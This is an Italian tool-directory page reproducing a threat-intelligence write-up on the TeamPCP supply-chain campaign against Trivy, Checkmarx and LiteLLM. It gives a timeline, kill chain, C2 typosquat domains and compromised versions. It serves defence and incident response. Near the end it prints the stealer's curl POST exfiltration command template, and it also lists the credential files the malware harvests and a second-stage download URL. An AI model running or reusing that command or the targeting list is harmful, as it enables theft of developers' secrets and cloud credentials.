Skip to content
KitploitKITPLOIT
StrumentiBlog
Log in
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
teampcp-supply-chain-attack — CVE-2026-33634 (CVSS 9.4) — L'attacco alla supply chain CI/CD più impattante del 2026 finora. | Kitploit
Strumenti/GitHubGitHub/ugurrates/teampcp-supply-chain-attack
Sicurezza dei ContenitoriAnalisi MalwareSicurezza CloudThreat IntelligenceSicurezza della Supply ChainApprendimento e FormazioneRisposta agli IncidentiRisorse Curate

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
GitHub
ugurrates/teampcp-supply-chain-attack

teampcp-supply-chain-attack

CVE-2026-33634 (CVSS 9.4) — L'attacco alla supply chain CI/CD più impattante del 2026 finora.

Vedi Repository
113122 mesi faNon ancora revisionato

Attacco alla Supply Chain di TeamPCP: Guida Tecnica e al Rilevamento

CVE-2026-33634 (CVSS 9.4) — L'attacco alla supply chain CI/CD più impattante del 2026 finora.

Tra il 19 e il 25 marzo 2026, l'attore della minaccia TeamPCP (monitorato anche come DeadCatx3, PCPcat, ShellForce, CanisterWorm) ha eseguito una compromissione a catena della supply chain in cinque ecosistemi: GitHub Actions, Docker Hub, OpenVSX, npm e PyPI. Partendo da un singolo PAT GitHub non ruotato completamente, la campagna si è diffusa in due importanti vendor di sicurezza open-source (Aqua Security e Checkmarx), quattro repository GitHub Actions, due estensioni VS Code, registry di container e oltre 66 pacchetti npm.

Questo repository fornisce una completa analisi tecnica, liste IOC curate (testate per falsi positivi) e query di rilevamento pronte per la distribuzione in Microsoft Defender XDR.


Sommario

  • Cronologia dell'Attacco
  • Analisi della Kill Chain
  • Artifact Compromessi
  • Meccaniche del Credential Stealer
  • CanisterWorm — Propagazione npm
  • Componente Wiper Mirato all'Iran
  • Rilevamento e Hunting
  • Lista IOC
  • Note sul Filtraggio dei Falsi Positivi
  • Mapping MITRE ATT&CK
  • Riferimenti

Cronologia dell'Attacco

Data (UTC)Evento
20 feb 2026Creato l'account hackerbot-claw; inizia la scansione dei repo per workflow pull_request_target sfruttabili
28 feb 2026Prima compromissione di Trivy tramite PWN request; credenziali esfiltrate
1 mar 2026Aqua Security tenta il contenimento — rotazione delle credenziali incompleta
19 mar, 17:43Attacco principale: TeamPCP force-pusha 75/76 tag in aquasecurity/trivy-action + tutti e 7 i tag in setup-trivy tramite l'account di servizio compromesso aqua-bot
19 mar, 18:22Trivy v0.69.4 backdoored pubblicato su GitHub Releases, Docker Hub, GHCR, ECR
20 mar, 05:40La finestra di compromissione di Trivy-action si chiude (~12 ore)
20 mar, 20:45CanisterWorm rilevato mentre si diffonde su npm — oltre 47 pacchetti compromessi
22 mar, 20:31TeamPCP sfregia tutti i 44 repo dell'organizzazione GitHub aquasec-com in un burst scriptato di 2 minuti
22 marImmagini Docker Hub 0.69.5 e 0.69.6 pubblicate con lo stesso payload stealer
23 mar, 02:53Inizia l'onda Checkmarx: pubblicati su OpenVSX ast-results v2.53.0 e cx-dev-assist v1.7.0 malevoli tramite l'account ast-phoenix
23 mar, 12:58Tutti i 35 tag di Checkmarx/kics-github-action force-pushati tramite l'account compromesso cx-plugins-releases
23 mar, 15:41Checkmarx segnala il problema OpenVSX come risolto
23 mar, 16:50KICS GitHub Action rimosso dopo la segnalazione di un utente
23 mar, 22:25Sysdig segnala che anche Checkmarx/ast-github-action v2.3.28 è compromesso
24 mar, 08:30Onda LiteLLM: pubblicate su PyPI le versioni trojanizzate litellm v1.82.7 e v1.82.8 usando credenziali rubate
24 mar, 11:25PyPI mette in quarantena le versioni malevole di LiteLLM

Analisi della Kill Chain

Fase 1 — Accesso Iniziale

Causa principale: rotazione incompleta delle credenziali dopo la violazione del 28 febbraio. Il PAT dell'account di servizio aqua-bot non è stato revocato oppure l'attaccante ha osservato il nuovo token durante la rotazione.

TeamPCP ha usato questo accesso mantenuto per force-pushare i tag di versione verso commit malevoli impostori. Ogni commit contraffatto clonava i metadati dell'originale (autore, timestamp, messaggio) mentre sostituiva lo script di entry point con il payload stealer. La pagina di rilascio di GitHub non mostrava alcun cambiamento visibile — persino il badge "Immutable" veniva visualizzato normalmente.

Fase 2 — Esecuzione del Payload

Lo stealer — un entrypoint.sh di 204 righe che si auto-identifica come "TeamPCP Cloud stealer" — esegue un attacco in tre fasi:

Fase 1: Scraping della Memoria

Legge /proc/<pid>/mem dai processi Runner.Worker
Cerca il pattern: {"value":"<secret>","isSecret":true}
Estrae PAT GitHub, credenziali cloud, chiavi API dalla memoria del runner

Fase 2: Scansione delle Credenziali nel Filesystem

Scansiona oltre 50 percorsi sensibili tra cui:

  • Chiavi SSH (~/.ssh/*)
  • Credenziali AWS/GCP/Azure
  • Token e config Kubernetes
  • Credenziali dei registry Docker
  • File di stato Terraform
  • Wallet crypto (Solana, Bitcoin, Ethereum, Cardano)
  • Token npm (~/.npmrc)
  • Cronologie della shell
  • File .env

Fase 3: Esfiltrazione Cifrata

  • Raggruppa tutti i dati raccolti in tpcp.tar.gz
  • Cifra con AES-256-CBC (chiave di sessione casuale) + RSA-4096/RSA-OAEP (chiave pubblica dell'attaccante)
  • Esfiltra tramite curl POST verso domini typosquat specifici del vendor
  • Fallback: crea un repo tpcp-docs o docs-tpcp nell'account GitHub della vittima usando il GITHUB_TOKEN rubato

Fase 3 — Persistenza

Su sistemi Linux non-CI, il malware:

  1. Crea la directory nascosta ~/.config/sysmon/
  2. Rilascia una backdoor Python (sysmon.py)
  3. Installa un servizio systemd utente che interroga il C2 ogni 50 minuti
  4. Kill switch: se la risposta del C2 contiene "youtube", la backdoor salta l'esecuzione

Fase 4 — Movimento Laterale (Onda Checkmarx)

Le credenziali rubate durante l'onda Trivy hanno permesso la compromissione dell'ecosistema Checkmarx. Ogni nuova onda utilizzava un dominio C2 typosquat diverso per eludere le blocklist dell'onda precedente:

OndaDominio C2Typosquat Di
Trivyscan.aquasecurtiy[.]orgaquasecurity.org
Checkmarx/KICScheckmarx[.]zonecheckmarx.com
LiteLLMmodels.litellm[.]cloudlitellm.ai

Artifact Compromessi

GitHub Actions

RepositoryTag CompromessiFinestra di Esposizione (UTC)Entry Point
aquasecurity/trivy-action75 su 76 (salvo: 0.35.0)19 mar 17:43 – 20 mar 05:40entrypoint.sh
aquasecurity/setup-trivyTutti e 7 i tag19 mar 17:43 – 21:44action.yaml
Checkmarx/kics-github-actionTutti e 35 i tag23 mar 12:58 – 16:50setup.sh
Checkmarx/ast-github-actionv2.3.28 (probabilmente tutti)23 mar ~22:25+setup.sh

Estensioni OpenVSX (VS Code Marketplace NON coinvolto)

EstensioneVersione MalevolaVersione Sicura
checkmarx.ast-results2.53.0>= 2.56.0
checkmarx.cx-dev-assist1.7.0>= 1.10.0

Entrambe le estensioni sono state pubblicate a 12 secondi di distanza alle 12:53 UTC del 23 marzo tramite l'account ast-phoenix. All'attivazione, environmentAuthChecker.js verifica la presenza di credenziali di provider cloud, quindi scarica uno stealer di seconda fase da checkmarx[.]zone/static/checkmarx-util-1.0.4.tgz.

Immagini Container

ImmagineTag Malevoli
docker.io/aquasec/trivy0.69.4, 0.69.5, 0.69.6
ghcr.io/aquasecurity/trivy0.69.4, 0.69.5, 0.69.6
public.ecr.aws/aquasecurity/trivy0.69.4, 0.69.5, 0.69.6

PyPI

PacchettoVersioniFile Backdoored
litellm1.82.7, 1.82.8litellm/proxy/proxy_server.py

Payload base64 triplamente annidato con toolkit di movimento laterale K8s. Persistenza tramite sysmon.service che interroga checkmarx.zone/raw.


Meccaniche del Credential Stealer

Il pattern di esfiltrazione è identico in tutte le onde:

curl -s -o /dev/null -w %{http_code} -X POST https://<c2_domain> \
  -H "Content-Type: application/octet-stream" \
  -H "X-Filename: tpcp.tar.gz" \
  --data-binary @/tmp/tmp.XXXXXXXXXX/tpcp.tar.gz
Scarica lo strumento